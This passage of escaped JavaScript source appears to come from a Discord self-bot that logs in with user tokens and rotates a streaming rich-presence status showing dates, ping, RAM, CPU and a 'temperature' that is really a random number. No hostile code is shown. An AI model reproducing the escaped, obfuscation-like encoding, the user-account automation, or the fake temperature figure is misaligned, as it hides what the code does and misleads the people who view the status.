0=\x20datee.toLocaleString(\x22en-US\x22,\x20{\x20timeZone:\x20\x22Asia/Bangkok\x22,\x20day:\x20\x222-digit\x22\x20}).replace(/[0-9]/g,\x20digit\x20=>\x20stylizedDigits[digit]);\x0a\x20\x20\x20\x20const\x20monthh\x20=\x20datee.getMonth()\x20+\x201;\x0a\x20\x20\x20\x20const\x20customMonthNamee\x20=\x20monthNamess[monthh\x20-\x201]\x20||\x20\x27มกราคม\x27;\x0a\x20\x20\x20\x20const\x20yearr\x20=\x20datee.getFullYear().toString().replace(/[0-9]/g,\x20digit\x20=>\x20stylizedDigits[digit]);\x0a\x20\x20\x20\x20return\x20`${dayy}/${customMonthNamee}/${yearr}`;\x0a}\x0afunction\x20getCurrentDateEG()\x20{\x0a\x20\x20\x20\x20const\x20datee\x20=\x20new\x20Date();\x0a\x20\x20\x20\x20const\x20options\x20=\x20{\x20timeZone:\x20\x22Asia/Bangkok\x22,\x20day:\x20\x222-digit\x22,\x20month:\x20\x22numeric\x22,\x20year:\x20\x22numeric\x22\x20};\x0a\x20\x20\x20\x20const\x20monthNamess\x20=\x20[\x22𝐉𝐚𝐧𝐮𝐚𝐫𝐲\x22,\x20\x22𝐅𝐞𝐛𝐫𝐮𝐚𝐫𝐲\x22,\x20\x22𝐌𝐚𝐫𝐜𝐡\x22,\x20\x22𝐀𝐩𝐫𝐢𝐥\x22,\x20\x22𝐌𝐚𝐲\x22,\x20\x22𝐉𝐮𝐧𝐞\x22,\x20\x22𝐉𝐮𝐥𝐲\x22,\x20\x22𝐀𝐮𝐠𝐮𝐬𝐭\x22,\x20\x22𝐒𝐞𝐩𝐭𝐞𝐦𝐛𝐞𝐫\x22,\x20\x22𝐎𝐜𝐭𝐨𝐛𝐞𝐫\x22,\x20\x22𝐍𝐨𝐯𝐞𝐦𝐛𝐞𝐫\x22,\x20\x22𝐃𝐞𝐜𝐞𝐦𝐛𝐞𝐫\x22];\x0a\x20\x20\x20\x20const\x20dayy\x20=\x20datee.toLocaleString(\x22en-US\x22,\x20{\x20timeZone:\x20\x22Asia/Bangkok\x22,\x20day:\x20\x222-digit\x22\x20}).replace(/[0-9]/g,\x20digit\x20=>\x20stylizedDigits[digit]);\x0a\x20\x20\x20\x20const\x20monthh\x20=\x20datee.getMonth()\x20+\x201;\x0a\x20\x20\x20\x20const\x20customMonthNamee\x20=\x20monthNamess[monthh\x20-\x201]\x20||\x20\x27𝐉𝐚𝐧𝐮𝐚𝐫𝐲\x27;\x0a\x20\x20\x20\x20const\x20yearr\x20=\x20datee.getFullYear().toString().replace(/[0-9]/g,\x20digit\x20=>\x20stylizedDigits[digit]);\x0a\x20\x20\x20\x20return\x20`${dayy}/${customMonthNamee}/${yearr}`;\x0a}\x0afunction\x20getCurrentDayThai()\x20{\x0a\x20\x20\x20\x20const\x20date\x20=\x20new\x20Date();\x0a\x20\x20\x20\x20const\x20dayNames\x20=\x20[\x22อาทิตย์\x22,\x20\x22จันทร์\x22,\x20\x22อังคาร\x22,\x20\x22พุธ\x22,\x20\x22พฤหัสบดี\x22,\x20\x22ศุกร์\x22,\x20\x22เสาร์\x22];\x0a\x20\x20\x20\x20const\x20dayIndex\x20=\x20date.getDay();\x0a\x20\x20\x20\x20return\x20dayNames[dayIndex];\x0a}\x0afunction\x20getCurrentDayEG()\x20{\x0a\x20\x20\x20\x20const\x20date\x20=\x20new\x20Date();\x0a\x20\x20\x20\x20const\x20dayNames\x20=\x20[\x22𝐒𝐮𝐧𝐝𝐚𝐲\x22,\x20\x22𝐌𝐨𝐧𝐝𝐚𝐲\x22,\x20\x22𝐓𝐮𝐞𝐬𝐝𝐚𝐲\x22,\x20\x22𝐖𝐞𝐝𝐧𝐞𝐬𝐝𝐚𝐲\x22,\x20\x22𝐓𝐡𝐮𝐫𝐬𝐝𝐚𝐲\x22,\x20\x22𝐅𝐫𝐢𝐝𝐚𝐲\x22,\x20\x22𝐒𝐚𝐭\x22];\x0a\x20\x20\x20\x20const\x20dayIndex\x20=\x20date.getDay();\x0a\x20\x20\x20\x20return\x20dayNames[dayIndex];\x0a}\x0afunction\x20formatBytes(bytes,\x20decimals\x20=\x202)\x20{\x0a\x20\x20\x20\x20if\x20(bytes\x20===\x200)\x20return\x20\x270\x20Bytes\x27;\x0a\x20\x20\x20\x20const\x20k\x20=\x201024;\x0a\x20\x20\x20\x20const\x20dm\x20=\x20decimals\x20<\x200\x20?\x200\x20:\x20decimals;\x0a\x20\x20\x20\x20const\x20sizes\x20=\x20[\x27\x27,\x20\x27\x27,\x20\x27\x27,\x20\x27\x27,\x20\x27\x27];\x0a\x20\x20\x20\x20const\x20i\x20=\x20Math.floor(Math.log(bytes)\x20/\x20Math.log(k));\x0a\x20\x20\x20\x20return\x20parseFloat((bytes\x20/\x20Math.pow(k,\x20i)).toFixed(dm))\x20+\x20\x27\x20\x27\x20+\x20sizes[i];\x0a}\x0afunction\x20getRAMInfo()\x20{\x0a\x20\x20\x20\x20const\x20totalMemory\x20=\x20os.totalmem();\x0a\x20\x20\x20\x20return\x20`${formatBytes(totalMemory)}`;\x0a}\x0afunction\x20getCPUInfo()\x20{\x0a\x20\x20\x20\x20const\x20cpus\x20=\x20os.cpus();\x0a\x20\x20\x20\x20const\x20cpuModels\x20=\x20new\x20Set(cpus.map(cpu\x20=>\x20cpu.model));\x0a\x20\x20\x20\x20return\x20Array.from(cpuModels);\x0a}\x0afunction\x20getTemperature()\x20{\x0a\x20\x20\x20\x20const\x20center\x20=\x2025;\x0a\x20\x20\x20\x20const\x20variance\x20=\x205;\x0a\x20\x20\x20\x20const\x20temperature\x20=\x20center\x20+\x20(Math.random()\x20*\x20variance\x20*\x202\x20-\x20variance);\x0a\x20\x20\x20\x20return\x20`${temperature.toFixed(1)}`;\x0a}\x0afunction\x20getPing()\x20{\x0a\x20\x20\x20\x20const\x20ping\x20=\x20Math.round(this.medmwng.ws.ping);\x0a\x20\x20\x20\x20return\x20`${ping}`;\x0a}\x0aclass\x20GetImage\x20{\x0a\x20\x20\x20\x20constructor(client)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20this.medmwng\x20=\x20client;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20isValidURL(url)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20try\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20new\x20URL(url);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20return\x20true;\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x20catch\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20return\x20false;\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20async\x20get(userConfig,\x20ImageUrl1,\x20ImageUrl2)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20userId\x20=\x20userConfig.applicationId;\x0a\x20\x20\x20\x20\x20\x20\x20\x20try\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ImageUrl1\x20=\x20this.isValidURL(ImageUrl1)\x20?\x20ImageUrl1\x20:\x20null;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ImageUrl2\x20=\x20this.isValidURL(ImageUrl2)\x20?\x20ImageUrl2\x20:\x20null;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(!ImageUrl1\x20&&\x20!ImageUrl2)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20throw\x20new\x20Error(gradient.rainbow(\x22The\x20image\x20is\x20invalid\x22));\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20{\x20getExternal\x20}\x20=\x20Discord.RichPresence;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20images\x20=\x20await\x20getExternal(this.medmwng,\x20userId,\x20ImageUrl1,\x20ImageUrl2);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(images.length\x20===\x201)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20{\x20url,\x20external_asset_path\x20}\x20=\x20images[0];\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(url\x20===\x20ImageUrl1)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ImageUrl1\x20=\x20url.includes(\x22attachments\x22)\x20?\x20url\x20:\x20external_asset_path;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ImageUrl2\x20=\x20null;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x20else\x20if\x20(url\x20===\x20ImageUrl2)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ImageUrl1\x20=\x20null;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ImageUrl2\x20=\x20url.includes(\x22attachments\x22)\x20?\x20url\x20:\x20external_asset_path;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x20else\x20if\x20(images.length\x20===\x202)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20[Images_path1,\x20Images_path2]\x20=\x20images;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(Images_path1.external_asset_path)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20{\x20url,\x20external_asset_path\x20}\x20=\x20Images_path1;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ImageUrl1\x20=\x20url.includes(\x22attachments\x22)\x20?\x20url\x20:\x20external_asset_path;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(Images_path2.external_asset_path)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20{\x20url,\x20external_asset_path\x20}\x20=\x20Images_path2;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ImageUrl2\x20=\x20url.includes(\x22attachments\x22)\x20?\x20url\x20:\x20external_asset_path;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x20else\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20throw\x20new\x20Error(gradient.rainbow(\x22The\x20image\x20is\x20invalid\x22));\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20return\x20{\x20BIGlargeIMAGE:\x20ImageUrl1,\x20IMAGE_small:\x20ImageUrl2\x20};\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x20catch\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20return\x20{\x20BIGlargeIMAGE:\x20null,\x20IMAGE_small:\x20null\x20};\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20}\x0a}\x0aclass\x20MyClient\x20extends\x20Client\x20{\x0a\x20\x20\x20\x20constructor(userConfig)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20super({\x20partials:\x20[],\x20makeCache:\x20Discord.Options.cacheWithLimits({\x20MessageManager:\x200\x20})\x20});\x0a\x20\x20\x20\x20\x20\x20\x20\x20this.userConfig\x20=\x20userConfig;\x0a\x20\x20\x20\x20\x20\x20\x20\x20this.cacheImage\x20=\x20new\x20Map();\x0a\x20\x20\x20\x20\x20\x20\x20\x20this.index\x20=\x200;\x0a\x20\x20\x20\x20\x20\x20\x20\x20this.initClient();\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20initClient()\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20this.medmwng\x20=\x20new\x20Discord.Client({\x20readyStatus:\x20false,\x20checkUpdate:\x20false\x20});\x0a\x20\x20\x20\x20\x20\x20\x20\x20this.getExternal\x20=\x20new\x20GetImage(this.medmwng);\x0a\x20\x20\x20\x20\x20\x20\x20\x20this.medmwng.once(\x27ready\x27,\x20()\x20=>\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20capitalizedUsername\x20=\x20this.medmwng.user.username.toUpperCase();\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20console.log(gradient.rainbow(`【\x20Succeed\x20】${capitalizedUsername}\x20${this.userConfig.applicationId}`));\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20this.updateStatus();\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20this.statusInterval\x20=\x20setInterval(()\x20=>\x20this.updateStatus(),\x204000);\x0a\x20\x20\x20\x20\x20\x20\x20\x20});\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20console_error\x20=\x20gradient.rainbow(`TOKEN\x20ApplicationId\x20Number\x20:\x20${this.userConfig.applicationId}\x20Not\x20Correct\x20(TOKEN\x20ไม่ถูก!)\x20\x0a`);\x0a\x20\x20\x20\x20\x20\x20\x20\x20this.medmwng.login(this.userConfig.token)\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.catch(error\x20=>\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20console.error(console_error);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20this.handleError(error);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20});\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20handleError(error)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20if\x20(error.message.includes(\x27TOKEN_INVALID\x27)\x20||\x20error.message.includes(\x27DISALLOWED_INTENTS\x27))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20originalConsoleError\x20=\x20console.error;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20console.error\x20=\x20()\x20=>\x20{\x20};\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20console.error\x20=\x20originalConsoleError;\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20async\x20updateStatus()\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20try\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20function\x20replacePlaceholders(text,\x20replacements)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20for\x20(const\x20key\x20in\x20replacements)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20text\x20=\x20text.replace(new\x20RegExp(key,\x20\x27i\x27),\x20replacements[key]);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20return\x20text;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20ping\x20=\x20getPing.call(this);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20temperature\x20=\x20getTemperature();\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20ramText\x20=\x20getRAMInfo();\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20cpuText\x20=\x20getCPUInfo();\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20Time\x20=\x20`${getCurrentTime()}`;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20Date\x20=\x20`${getCurrentDay()}`;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20Datee\x20=\x20`${getCurrentDayy()}`;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20SundayThai\x20=\x20`${getCurrentDayThai()}`;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20SundayEG\x20=\x20`${getCurrentDayEG()}`;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20DateEG\x20=\x20`${getCurrentDateEG()}`;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20richPresence\x20=\x20new\x20Discord.RichPresence(this.medmwng)\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.setType(\x27STREAMING\x27)\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.setApplicationId(this.userConfig.applicationId);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20detailReplacements\x20=\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27time:t\x27:\x20Time,\x20//\x20เวลานาที\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27date:n\x27:\x20Date,\x20//\x20ปฎิทินวันที่ตัวเลข\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27date:th\x27:\x20Datee,\x20//\x20ปฎิทินวันที่ภาษาไทย\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27date:eg\x27:\x20DateEG,\x20\x20\x20\x20//\x20แสดงปฎิทินวันที่ภาษาอังกฤษ\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27ping:ms\x27:\x20ping,\x20\x20//\x20ความปิง\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27temp:c\x27:\x20temperature,\x20//\x20ความร้อน\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27ram:g\x27:\x20ramText,\x20\x20//\x20แสดงแรม\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27cpu:g\x27:\x20cpuText,\x20//\x20แสดง\x20CPU\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27day:th\x27:\x20SundayThai,\x20//\x20แสดงวันของไทย\x20จันทร์\x20อังคาร.....\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27day:eg\x27:\x20SundayEG\x20\x20\x20//\x20แสดงวันของอังกฤษ\x20𝐒𝐮𝐧𝐝𝐚𝐲\x20𝐌𝐨𝐧𝐝𝐚𝐲.....\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20};\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20let\x20details\x20=\x20this.userConfig.Details[this.index];\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20details\x20=\x20replacePlaceholders(details,\x20detailReplacements);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(!details.includes(\x27-\x27))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20richPresence.setDetails(details);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20let\x20LargeText\x20=\x20this.userConfig.LargeText[this.index];\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20LargeText\x20=\x20replacePlaceholders(LargeText,\x20detailReplacements);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(!LargeText.includes(\x27-\x27))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20richPresence.setAssetsLargeText(LargeText);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20let\x20setState\x20=\x20this.userConfig.setState[this.index];\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20setState\x20=\x20replacePlaceholders(setState,\x20detailReplacements);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(!setState.includes(\x27-\x27))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20richPresence.setState(setState);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20SetlargeImageLink\x20=\x20this.userConfig.largeImageLinks[this.index];\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20SetsmallImageLink\x20=\x20this.userConfig.smallImageLinks[this.index];\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20images\x20=\x20await\x20this.getImage(SetlargeImageLink,\x20SetsmallImageLink);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(SetlargeImageLink\x20&&\x20!SetlargeImageLink.includes(\x27-\x27))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20richPresence.setAssetsLargeImage(images.BIGlargeIMAGE);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(SetsmallImageLink\x20&&\x20!SetsmallImageLink.includes(\x27-\x27))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20richPresence.setAssetsSmallImage(images.IMAGE_small);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20richPresence\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.setName(details)\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.setURL(this.userConfig.setURL[0])\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.setStartTimestamp(Date_Time);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20isValidURL\x20=\x20url\x20=>\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20try\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20new\x20URL(url);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20return\x20true;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x20catch\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20return\x20false;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20};\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(isValidURL(this.userConfig.link1))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20richPresence.addButton(this.userConfig.button1,\x20this.userConfig.link1);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(isValidURL(this.userConfig.link2))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20richPresence.addButton(this.userConfig.button2,\x20this.userConfig.link2);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20this.medmwng.user.setActivity(richPresence);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20this.index\x20=\x20(this.index\x20+\x201)\x20%\x20this.userConfig.largeImageLinks.length;\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x20catch\x20(error)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20originalConsoleError\x20=\x20console.error;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20console.error\x20=\x20()\x20=>\x20{\x20};\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20console.error\x20=\x20originalConsoleError;\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20async\x20getImage(SetlargeImageLink,\x20SetsmallImageLink)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20images\x20=\x20await\x20this.getExternal.get(this.userConfig,\x20SetlargeImageLink,\x20SetsmallImageLink);\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20finallargeImage\x20=\x20images.BIGlargeIMAGE\x20??\x20this.cacheImage.get(SetlargeImageLink);\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20finalSmallImage\x20=\x20images.IMAGE_small\x20??\x20this.cacheImage.get(SetsmallImageLink);\x0a\x20\x20\x20\x20\x20\x20\x20\x20if\x20(images.BIGlargeIMAGE)\x20this.cacheImage.set(SetlargeImageLink,\x20images.BIGlargeIMAGE);\x0a\x20\x20\x20\x20\x20\x20\x20\x20if\x20(images.IMAGE_small)\x20this.cacheImage.set(SetsmallImageLink,\x20images.IMAGE_small);\x0a\x20\x20\x20\x20\x20\x20\x20\x20return\x20{\x20BIGlargeIMAGE:\x20finallargeImage,\x20IMAGE_small:\x20finalSmallImage\x20};\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20updateConfig(newConfig)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20this.userConfig\x20=\x20newConfig;\x0a\x20\x20\x20\x20\x20\x20\x20\x20this.index\x20=\x200;\x0a\x20\x20\x20\x20\x20\x20\x20\x20clearInterval(this.statusInterval);\x0a\x20\x20\x20\x20\x20\x20\x20\x20this.updateStatus();\x0a\x20\x20\x20\x20\x20\x20\x20\x20this.statusInterval\x20=\x20setInterval(()\x20=>\x20this.updateStatus(),\x204000);\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20stop()\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20clearInterval(this.statusInterval);\x0a\x20\x20\x20\x20\x20\x20\x20\x20if\x20(this.medmwng.user)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20this.medmwng.user.setActivity(null);\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20this.medmwng.destroy();\x0a\x20\x20\x20\x20}\x0a}\x0alet\x20clients\x20=\x20config.user.map(userConfig\x20=>\x20new\x20MyClient(userConfig));\x0aconst\x20updateClients\x20=\x20newConfig\x20=>\x20{\x0a\x20\x20\x20\x20const\x20newClientIds\x20=\x20newConfig.user.map(user\x20=>\x20user.applicationId);\x0a\x20\x20\x20\x20clients.forEach(client\x20=>\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20if\x20(!newClientIds.includes(client.userConfig.applicationId))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20client.stop();\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20console.log(gradient.rainbow(`User\x20ApplicationId\x20Number\x20:\x20${client.userConfig.applicationId}\x20Delete!\x20\x0a`));\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20});\x0a\x20\x20\x20\x20const\x20updatedClients\x20=\x20[];\x0a\x20\x20\x20\x20newConfig.user.forEach(userConfig\x20=>\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20existingClient\x20=\x2